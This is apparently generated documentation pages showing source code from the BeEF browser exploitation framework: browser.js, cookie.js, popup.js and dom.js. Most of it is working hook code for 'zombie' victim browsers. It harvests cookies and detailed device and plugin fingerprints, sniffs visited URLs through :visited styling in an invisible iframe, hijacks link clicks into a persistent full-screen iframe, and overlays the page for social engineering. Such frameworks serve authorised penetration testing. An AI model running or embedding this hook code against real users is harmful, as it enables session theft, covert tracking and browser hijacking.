                            return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'Google_Talk_Plugin': {
                    'control': 'Google Talk Plugin',
                    'return': function (control) {
                        try {
                            version = navigator.plugins['Google Talk Plugin']["description"];
                            return 'Google Talk Plugin Version ' + version;// " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'Facebook_Video_Calling_Plugin': {
                    'control': 'Facebook Video Calling Plugin',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
                            return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'Google_Update': {
                    'control': 'Google Update',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["Google Update"]["description"];
                            return 'Google Update Version ' + version//+ " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'Windows_Activation_Technologies': {
                    'control': 'Windows Activation Technologies',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["Windows Activation Technologies"]["description"];
                            return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
                        }
                        catch (e) {
                        }

                    }},
                'VLC_Web_Plugin': {
                    'control': 'VLC Web Plugin',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["VLC Web Plugin"]["description"];
                            return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'Google_Earth_Plugin': {
                    'control': 'Google Earth Plugin',

                    'return': function (control) {
                        try {
                            version = navigator.plugins['Google Earth Plugin']["description"];
                            return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
                        }
                        catch (e) {
                        }
                    }},
                'FoxitReader_Plugin': {
                    'control': 'FoxitReader Plugin',
                    'return': function (control) {
                        try {
                            version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
                            return 'FoxitReader Plugin Version ' + version;
                        } catch (e) {
                        }
                    }}
            };

            var c = 0;
            for (var i in plugins) {
                //each element od plugins
                var control = plugins[i]['control'];
                try {
                    var version = plugins[i]['return'](control);
                    if (version) {
                        results[c] = version;
                        c = c + 1;
                    }
                }
                catch (e) {
                }

            }
        }
        // Return results
        return results;
    },

    /**
     * Returns a list of plugins detected by IE. This is a hack because IE doesn't
     * support navigator.plugins
     */
    getPluginsIE: function () {
        var results = '';
        var plugins = {
            'AdobePDF6': {
                'control': 'PDF.PdfCtrl',
            'return': function (control) {
                version = control.getVersions().split(',');
                version = version[0].split('=');
                return 'Acrobat Reader v' + parseFloat(version[1]);
            }},
            'AdobePDF7': {
                'control': 'AcroPDF.PDF',
                'return': function (control) {
                    version = control.getVersions().split(',');
                    version = version[0].split('=');
                    return 'Acrobat Reader v' + parseFloat(version[1]);
                }},
            'Flash': {
                'control': 'ShockwaveFlash.ShockwaveFlash',
                'return': function (control) {
                    version = control.getVariable('$version').substring(4);
                    return 'Flash Player v' + version.replace(/,/g, ".");
                }},
            'Quicktime': {
                'control': 'QuickTime.QuickTime',
                'return': function (control) {
                    return 'QuickTime Player';
                }},
            'RealPlayer': {
                'control': 'RealPlayer',
                'return': function (control) {
                    version = control.getVersionInfo();
                    return 'RealPlayer v' + parseFloat(version);
                }},
            'Shockwave': {
                'control': 'SWCtl.SWCtl',
                'return': function (control) {
                    version = control.ShockwaveVersion('').split('r');
                    return 'Shockwave v' + parseFloat(version[0]);
                }},
            'WindowsMediaPlayer': {
                'control': 'WMPlayer.OCX',
                'return': function (control) {
                    return 'Windows Media Player v' + parseFloat(control.versionInfo);
                }},
            'FoxitReaderPlugin': {
                'control': 'FoxitReader.FoxitReaderCtl.1',
                'return': function (control) {
                    return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
                }}
        };
        if (window.ActiveXObject) {
            var j = 0;
            for (var i in plugins) {
                var control = null;
                var version = null;
                try {
                    control = new ActiveXObject(plugins[i]['control']);
                } catch (e) {
                }
                if (control) {
                    if (j != 0)
                        results += ', ';
                    results += plugins[i]['return'](control);
                    j++;
                }
            }
        }
        return results;
    },

    /**
     * Returns zombie browser window size.
     * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
     */
    getWindowSize: function () {
        var myWidth = 0, myHeight = 0;
        if (typeof( window.innerWidth ) == 'number') {
            // Non-IE
            myWidth = window.innerWidth;
            myHeight = window.innerHeight;
        } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
            // IE 6+ in 'standards compliant mode'
            myWidth = document.documentElement.clientWidth;
            myHeight = document.documentElement.clientHeight;
        } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
            // IE 4 compatible
            myWidth = document.body.clientWidth;
            myHeight = document.body.clientHeight;
        }
        return {
            width: myWidth,
            height: myHeight
        }
    },

    /**
     * Construct hash from browser details. This function is used to grab the browser details during the hooking process
     */
    getDetails: function () {
        var details = new Array();

        var browser_name = beef.browser.getBrowserName();
        var browser_version = beef.browser.getBrowserVersion();
        var browser_engine = beef.browser.getBrowserEngine();
        var browser_reported_name = beef.browser.getBrowserReportedName();
        var browser_language = beef.browser.getBrowserLanguage();
        var page_title = (document.title) ? document.title : "Unknown";
        var origin = (window.origin) ? window.origin : "Unknown";
        var page_uri = (document.location.href) ? document.location.href : "Unknown";
        var page_referrer = (document.referrer) ? document.referrer : "Unknown";
        var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
        var default_port = "";
        switch (document.location.protocol) {
        case "http:":
            var default_port = "80";
            break;
        case "https:":
            var default_port = "443";
            break;
        }
        var page_hostport = (document.location.port) ? document.location.port : default_port;
        var browser_plugins = beef.browser.getPlugins();
        var date_stamp = new Date().toString();
        var os_name = beef.os.getName();
        var os_family = beef.os.getFamily();
        var os_version = beef.os.getVersion();
        var os_arch = beef.os.getArch();
        var default_browser = beef.os.getDefaultBrowser();
        var hw_type = beef.hardware.getName();
        var battery_details = beef.hardware.getBatteryDetails();
        try {
          var battery_charging_status = battery_details.chargingStatus;
          var battery_level = battery_details.batteryLevel;
          var battery_charging_time = battery_details.chargingTime;
          var battery_discharging_time = battery_details.dischargingTime;
        } catch(e) {}
        var memory = beef.hardware.getMemory();
        var cpu_arch = beef.hardware.getCpuArch();
        var cpu_cores = beef.hardware.getCpuCores();
        var gpu_details = beef.hardware.getGpuDetails();
        try {
          var gpu = gpu_details.gpu;
          var gpu_vendor = gpu_details.vendor;
        } catch(e) {}
        var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
        var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
        var screen_size = beef.hardware.getScreenSize();
        try {
          var screen_width = screen_size.width;
          var screen_height = screen_size.height;
          var screen_colordepth = screen_size.colordepth;
        } catch(e) {}
        var window_size = beef.browser.getWindowSize();
        try {
          window_width = window_size.width;
          window_height = window_size.height;
        } catch(e) {}
        var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
        var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
        var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
        var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
        var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
        var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
        var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
        var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
        var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
        var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
        var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
        var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
        var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
        var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";

        try {
            var cookies = document.cookie;
            if (cookies) details['browser.window.cookies'] = cookies;
        } catch (e) {
            beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
            details['browser.window.cookies'] = '';
        }

        if (browser_name) details['browser.name'] = browser_name;
        if (browser_version) details['browser.version'] = browser_version;
        if (browser_engine) details['browser.engine'] = browser_engine;
        if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
        if (browser_platform) details['browser.platform'] = browser_platform;
        if (browser_language) details['browser.language'] = browser_language;
        if (browser_plugins) details['browser.plugins'] = browser_plugins;

        if (page_title) details['browser.window.title'] = page_title;
        if (origin) details['browser.window.origin'] = origin;
        if (page_hostname) details['browser.window.hostname'] = page_hostname;
        if (page_hostport) details['browser.window.hostport'] = page_hostport;
        if (page_uri) details['browser.window.uri'] = page_uri;
        if (page_referrer) details['browser.window.referrer'] = page_referrer;
        if (window_width) details['browser.window.size.width'] = window_width;
        if (window_height) details['browser.window.size.height'] = window_height;
        if (date_stamp) details['browser.date.datestamp'] = date_stamp;

        if (os_name) details['host.os.name'] = os_name;
        if (os_family) details['host.os.family'] = os_family;
        if (os_version) details['host.os.version'] = os_version;
        if (os_arch) details['host.os.arch'] = os_arch;

        if (default_browser) details['host.software.defaultbrowser'] = default_browser;

        if (hw_type) details['hardware.type'] = hw_type;
        if (memory) details['hardware.memory'] = memory;
        if (gpu) details['hardware.gpu'] = gpu;
        if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
        if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
        if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;

        if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
        if (battery_level) details['hardware.battery.level'] = battery_level;
        if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
        if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;

        if (screen_width) details['hardware.screen.size.width'] = screen_width;
        if (screen_height) details['hardware.screen.size.height'] = screen_height;
        if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
        if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;

        if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
        if (has_flash) details['browser.capabilities.flash'] = has_flash;
        if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;
        if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
        if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
        if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
        if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
        if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
        if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
        if (has_activex) details['browser.capabilities.activex'] = has_activex;
        if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
        if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
        if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
        if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;

        return details;
    },

    /**
     * Returns boolean value depending on whether the browser supports ActiveX
     */
    hasActiveX: function () {
        return !!window.ActiveXObject;
    },

    /**
     * Returns boolean value depending on whether the browser supports WebRTC
     */
    hasWebRTC: function () {
        return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
    },

    /**
     * Returns boolean value depending on whether the browser supports Silverlight
     */
    hasSilverlight: function () {
        var result = false;

        try {
            if (beef.browser.hasActiveX()) {
                var slControl = new ActiveXObject('AgControl.AgControl');
                result = true;
            } else if (navigator.plugins["Silverlight Plug-In"]) {
                result = true;
            }
        } catch (e) {
            result = false;
        }

        return result;
    },

    /**
     * Returns array of results, whether or not the target zombie has visited the specified URL
     */
    hasVisited: function (urls) {
        var results = new Array();
        var iframe = beef.dom.createInvisibleIframe();
        var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
        ifdoc.open();
        ifdoc.write('<style>a:visited{width:0px !important;}</style>');
        ifdoc.close();
        urls = urls.split("\n");
        var count = 0;
        for (var i in urls) {
            var u = urls[i];
            if (u != "" || u != null) {
                var success = false;
                var a = ifdoc.createElement('a');
                a.href = u;
                ifdoc.body.appendChild(a);
                var width = null;
                (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
                if (width == '0px') {
                    success = true;
                }
                results.push({'url': u, 'visited': success});
                count++;
            }
        }
        beef.dom.removeElement(iframe);
        if (results.length == 0) {
            return false;
        }
        return results;
    },

    /**
     * Checks if the zombie has Web Sockets enabled.
     * @return: {Boolean} true or false.
     * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
     * */
    hasWebSocket: function () {
        return !!window.WebSocket || !!window.MozWebSocket;
    },

    /**
     * Checks if the zombie has Web Workers enabled.
     * @return: {Boolean} true or false.
     * */
    hasWebWorker: function () {
        return (typeof(Worker) !== "undefined");
    },

    /**
     * Checks if the zombie has WebGL enabled.
     * @return: {Boolean} true or false.
     *
     * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
     * */
    hasWebGL: function () {
        try {
            var canvas = document.createElement("canvas");
            var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
            return !!(gl && gl instanceof WebGLRenderingContext);
        } catch(e) {
            return false;
        }
    },

    /**
     * Checks if the zombie has Google Gears installed.
     * @return: {Boolean} true or false.
     *
     * @from: https://code.google.com/apis/gears/gears_init.js
     * */
    hasGoogleGears: function () {

        var ggfactory = null;

        // Chrome
        if (window.google && google.gears) return true;

        // Firefox
        if (typeof GearsFactory != 'undefined') {
            ggfactory = new GearsFactory();
        } else {
            // IE
            try {
                ggfactory = new ActiveXObject('Gears.Factory');
                // IE Mobile on WinCE.
                if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
                    ggfactory.privateSetGlobalObject(this);
                }
            } catch (e) {
                // Safari
                if ((typeof navigator.mimeTypes != 'undefined')
                    && navigator.mimeTypes["application/x-googlegears"]) {
                    ggfactory = document.createElement("object");
                    ggfactory.style.display = "none";
                    ggfactory.width = 0;
                    ggfactory.height = 0;
                    ggfactory.type = "application/x-googlegears";
                    document.documentElement.appendChild(ggfactory);
                    if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
                }
            }
        }
        if (!ggfactory) return false; else return true;
    },

    /**
     * Checks if the zombie has Foxit PDF reader plugin.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasFoxit()) { ... }
     * */
    hasFoxit: function () {

        var foxitplugin = false;

        try {
            if (beef.browser.hasActiveX()) {
                var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
                foxitplugin = true;
            } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
                foxitplugin = true;
            }
        } catch (e) {
            foxitplugin = false;
        }

        return foxitplugin;
    },

    /**
     * Returns the page head HTML
     **/
    getPageHead: function () {
        var html_head;
        try {
            html_head = document.head.innerHTML.toString();
        } catch (e) {
        }
        return html_head;
    },

    /**
     * Returns the page body HTML
     **/
    getPageBody: function () {
        var html_body;
        try {
            html_body = document.body.innerHTML.toString();
        } catch (e) {
        }
        return html_body;
    },

    /**
     * Dynamically changes the favicon: works in Firefox, Chrome and Opera
     **/
    changeFavicon: function (favicon_url) {
        var iframe = null;
        if (this.isC()) {
            iframe = document.createElement('iframe');
            iframe.src = 'about:blank';
            iframe.style.display = 'none';
            document.body.appendChild(iframe);
        }
        var link = document.createElement('link'),
            oldLink = document.getElementById('dynamic-favicon');
        link.id = 'dynamic-favicon';
        link.rel = 'shortcut icon';
        link.href = favicon_url;
        if (oldLink) document.head.removeChild(oldLink);
        document.head.appendChild(link);
        if (this.isC()) iframe.src += '';
    },

    /**
     * Changes page title
     **/
    changePageTitle: function (title) {
        document.title = title;
    },

    /**
     * Get the browser language
     */
    getBrowserLanguage: function () {
        var l = 'Unknown';
        try {
            l = window.navigator.userLanguage || window.navigator.language;
        } catch (e) {
        }
        return l;
    },

    /**
     *  A function that gets the max number of simultaneous connections the
     *  browser can make per origin, or globally on all origin.
     *
     *  This code is based on research from browserspy.dk
     *
     * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
     * @return {Object} A jQuery deferred object promise, which when resolved passes
     *    the number of connections to the callback function as "this"
     */



    getMaxConnections: function (scope) {
        /*
        *    example usage:
        *        $j.when(getMaxConnections()).done(function(){
        *            console.debug("Max Connections: " + this);
        *            }); 
        */
        var imagesCount = 30;		// Max number of images to test
        var secondsTimeout = 5;		// Image load timeout threashold
        var testUrl = "";		// The image testing service URL

        // User broserspy.dk max connections service URL.
        if (scope == 'PER_DOMAIN')
            testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
        else
            // The token will be replaced by a different number with each request (different origin).
            testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";

        var imagesLoaded = 0;			// Number of responding images before timeout.
        var imagesRequested = 0;		// Number of requested images.
        var testImages = new Array();		// Array of all images.
        var deferredObject = $j.Deferred();	// A jquery Deferred object.

        for (var i = 1; i <= imagesCount; i++) {
            // Asynchronously request image.
            testImages[i] =
                $j.ajax({
                    type: "get",
                    dataType: true,
                    url: (testUrl.replace("<token>", i)) + Math.random(),
                    data: "",
                    timeout: (secondsTimeout * 1000),

                    // Function on completion of request.
                    complete: function (jqXHR, textStatus) {

                        imagesRequested++;

                        // If the image returns a 200 or a 302, the text Status is "error", else null
                        if (textStatus == "error") {
                            imagesLoaded++;
                        }

                        // If all images requested
                        if (imagesRequested >= imagesCount) {
                            // resolve the deferred object passing the number of loaded images.
                            deferredObject.resolveWith(imagesLoaded);
                        }
                    }
                });

        }

        // Return a promise to resolve the deffered object when the images are loaded.
        return deferredObject.promise();

    }

};

beef.regCmp('beef.browser');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/browser_cookie.js.html ================================================ JSDoc: Source: browser/cookie.js

Source: browser/cookie.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides fuctions for working with cookies. 
 * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
 * Original author unknown.
 * @namespace beef.browser.cookie
 */
beef.browser.cookie = {
	
		/** @memberof beef.browser.cookie */
		setCookie: function (name, value, expires, path, domain, secure) 
		{
	
			var today = new Date();
			today.setTime( today.getTime() );
	
			if ( expires )
			{
				expires = expires * 1000 * 60 * 60 * 24;
			}
			var expires_date = new Date( today.getTime() + (expires) );
	
			document.cookie = name + "=" +escape( value ) +
				( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
				( ( path ) ? ";path=" + path : "" ) +
				( ( domain ) ? ";domain=" + domain : "" ) +
				( ( secure ) ? ";secure" : "" );
		},
		/** @memberof beef.browser.cookie */
		getCookie: function(name) 
		{
			var a_all_cookies = document.cookie.split( ';' );
			var a_temp_cookie = '';
			var cookie_name = '';
			var cookie_value = '';
			var b_cookie_found = false;
			
			for ( i = 0; i < a_all_cookies.length; i++ )
			{
				a_temp_cookie = a_all_cookies[i].split( '=' );
				cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
				if ( cookie_name == name )
				{
					b_cookie_found = true;
					if ( a_temp_cookie.length > 1 )
					{
						cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
					}
					return cookie_value;
					break;
				}
				a_temp_cookie = null;
				cookie_name = '';
			}
			if ( !b_cookie_found )
			{
				return null;
			}
		},
		/** @memberof beef.browser.cookie */
		deleteCookie: function (name, path, domain) 
		{
			if ( this.getCookie(name) ) document.cookie = name + "=" +
			( ( path ) ? ";path=" + path : "") +
			( ( domain ) ? ";domain=" + domain : "" ) +
			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
		},

	    /** @memberof beef.browser.cookie */
		cookieValueRandomizer: function (){
			var to_hell= '';
			var min = 17;
			var max = 25;
			var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;

			var grunt = function(){
				var moo = Math.floor(Math.random() * 62);
				var char = '';
				if(moo < 36){
					char = String.fromCharCode(moo + 55);
				}else{
					char = String.fromCharCode(moo + 61);
				}
				if(char != ';' && char != '='){
					return char;
				}else{
					return 'x';
				}
			};

			while(to_hell.length < lol_length){
				to_hell += grunt();
			}
			return to_hell;
		},
		/** @memberof beef.browser.cookie */
		hasSessionCookies: function (name){
			this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), '', '/', '', '' );

			cookiesEnabled = (this.getCookie(name) == null)? false:true;
			this.deleteCookie(name, '/', '');
			return cookiesEnabled;
			
		},
		/** @memberof beef.browser.cookie */
		hasPersistentCookies: function (name){
			this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), 1, '/', '', '' );

			cookiesEnabled = (this.getCookie(name) == null)? false:true;
			this.deleteCookie(name, '/', '');
			return cookiesEnabled;
			
		}	
					
};

beef.regCmp('beef.browser.cookie');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/browser_jools.html ================================================ JSDoc: Namespace: browser_jools

Namespace: browser_jools

browser_jools

Members

(static) exports.version

version

Source:

(static) require.resolve

Source:

Methods

(static) Jools(rules)

Jools constructor.

A rule consists of:

  • Descriptive name
  • One or more conditions
  • One or more consequences, which are fired when all conditions evaluate to true.
Parameters:
Name Type Description
rules Object
Source:

(static) module.exports.paramNames(f)

Returns an array of parameter names of the function f

Parameters:
Name Type Description
f function
Source:

(static) module.exports.paramsToArguments(obj, params)

Creates an array of arguments

Parameters:
Name Type Description
obj Object
params Array
Source:

(static) normalizeArray(parts, allowAboveRoot)

resolves . and .. elements in a path array with directory names there must be no slashes, empty elements, or device names (c:) in the array (so also no leading and trailing slashes - it does not distinguish relative and absolute paths)

Parameters:
Name Type Description
parts
allowAboveRoot
Source:

(static) require(file, cwd)

Parameters:
Name Type Description
file
cwd
Source:

(static) require.alias()

Source:

(static) require.define()

Source:

Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/browser_popup.js.html ================================================ JSDoc: Source: browser/popup.js

Source: browser/popup.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides fuctions for working with cookies. 
 * Several functions adopted from http://davidwalsh.name/popup-block-javascript
 * Original author unknown.
 * @namespace beef.browser.popup
 */
beef.browser.popup = {
		/** @memberof beef.browser.popup */
		blocker_enabled: function ()
		{
			screenParams = beef.hardware.getScreenSize();
			var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
			if (popUp == null || typeof(popUp)=='undefined') {   
			  	return true;
			} else {   
				popUp.close();
				return false;
			}
		}
};

beef.regCmp('beef.browser.popup');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/dom.js.html ================================================ JSDoc: Source: dom.js

Source: dom.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides functionality to manipulate the DOM.
 * @namespace beef.dom
 */
beef.dom = {
	
	/**
	 * Generates a random ID for HTML elements
	 * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
	 * @return {String} generated id
	 */
	generateID: function(prefix) {
		return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
	},	
		
	/**
	 * Creates a new element but does not append it to the DOM.
	 * @param {String} type the name of the element.
	 * @param {Array} attributes the attributes of that element.
	 * @return {Array} the created element.
	 */
	createElement: function(type, attributes) {
		var el = document.createElement(type);
		
		for(index in attributes) {
			if(typeof attributes[index] == 'string') {
				el.setAttribute(index, attributes[index]);
			}
		}
		
		return el;
	},
	
	/**
	 * Removes element from the DOM.
	 * @param {Object} el the target element to be removed.
	 */
	removeElement: function(el) {
		if (!beef.dom.isDOMElement(el))
		{
			el = document.getElementById(el);
		}
		try {
			el.parentNode.removeChild(el);
		} catch (e) { }
	},
	
	/**
	 * Tests if the object is a DOM element.
	 * @param {Object} the DOM element.
	 * @return {boolean} true if the object is a DOM element.
	 */
	isDOMElement: function(obj) {
		return (obj.nodeType) ? true : false;
	},
	
	/**
	 * Creates an invisible iframe on the hook browser's page.
	 * @return {array} the iframe.
	 */
	createInvisibleIframe: function() {
		var iframe = this.createElement('iframe', {
				width: '1px',
				height: '1px',
				style: 'visibility:hidden;'
			});
		
		document.body.appendChild(iframe);
		
		return iframe;
	},

	/**
	 * Returns the highest current z-index
	 * @param {Boolean} whether to return an associative array with the height AND the ID of the element
	 * @return {Integer} Highest z-index in the DOM
	 * OR
	 * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
	 */
	getHighestZindex: function(include_id) {
		var highest = {'height':0, 'elem':''};
		$j('*').each(function() {
			var current_high = parseInt($j(this).css("zIndex"),10);
			if (current_high > highest.height) {
				highest.height = current_high;
				highest.elem = $j(this).attr('id');
			}
		});

		if (include_id) {
			return highest;
		} else {
			return highest.height;
		}
	},
	
	/**
     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
	 * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
	 * @param {Hash} params: list of params that will be sent in request.
	 * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
	 * @param {Function} a callback function to fire once the iFrame has loaded
	 * @return {Object} the inserted iFrame
     *
	 */
	createIframe: function(type, params, styles, onload) {
		var css = {};

		if (type == 'hidden') {
			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
		} else if (type == 'fullscreen') {
			css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
			$j('body').css({'padding':'0px', 'margin':'0px'});
		} else {
			css = styles;
			$j('body').css({'padding':'0px', 'margin':'0px'});
		}
		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
		
		return iframe;
	},

    /**
     * Load the link (href value) in an overlay foreground iFrame.
     * The BeEF hook continues to run in background.
     * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
     * Framebusting techniques, this will not work.
     */
    persistentIframe: function(){
        $j('a').click(function(e) {
            if ($j(this).attr('href') != '')
            {
                e.preventDefault();
                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
                $j(document).attr('title', $j(this).html());
                document.body.scroll = "no";
                document.documentElement.style.overflow = 'hidden';
            }
        });
    },

    /**
     * Load a full screen div that is black, or, transparent
     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
     *           // By default this is 70 
     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
     *           // By default this will use beef.dom.getHighestZindex to always go to the top
     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
     *           // By default this is #000000
     */
	grayOut: function(vis, options) {
	  // in any order.  Pass only the properties you need to set.
	  var options = options || {};
	  var zindex = options.zindex || beef.dom.getHighestZindex()+1;
	  var opacity = options.opacity || 70;
	  var opaque = (opacity / 100);
	  var bgcolor = options.bgcolor || '#000000';
	  var dark=document.getElementById('darkenScreenObject');
	  if (!dark) {
	    // The dark layer doesn't exist, it's never been created.  So we'll
	    // create it here and apply some basic styles.
	    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
	    var tbody = document.getElementsByTagName("body")[0];
	    var tnode = document.createElement('div');           // Create the layer.
	        tnode.style.position='absolute';                 // Position absolutely
	        tnode.style.top='0px';                           // In the top
	        tnode.style.left='0px';                          // Left corner of the page
	        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
	        tnode.style.display='none';                      // Start out Hidden
	        tnode.id='darkenScreenObject';                   // Name it so we can find it later
	    tbody.appendChild(tnode);                            // Add it to the web page
	    dark=document.getElementById('darkenScreenObject');  // Get the object.
	  }
	  if (vis) {
	    // Calculate the page width and height 
	    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
	        var pageWidth = document.body.scrollWidth+'px';
	        var pageHeight = document.body.scrollHeight+'px';
	    } else if( document.body.offsetWidth ) {
	      var pageWidth = document.body.offsetWidth+'px';
	      var pageHeight = document.body.offsetHeight+'px';
	    } else {
	       var pageWidth='100%';
	       var pageHeight='100%';
	    }
	    //set the shader to cover the entire page and make it visible.
	    dark.style.opacity=opaque;
	    dark.style.MozOpacity=opaque;
	    dark.style.filter='alpha(opacity='+opacity+')';
	    dark.style.zIndex=zindex;
	    dark.style.backgroundColor=bgcolor;
	    dark.style.width= pageWidth;
	    dark.style.height= pageHeight;
	    dark.style.display='block';
	  } else {
	     dark.style.display='none';
	  }
	},

	/**
	 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
	 *  or, re-writing a document this is useful.
	 */
	removeStylesheets: function() {
		$j('link[rel=stylesheet]').remove();
		$j('style').remove();
	},
	
	/**
     * Create a form element with the specified parameters, appending it to the DOM if append == true
	 * @param {Hash} params: params to be applied to the form element
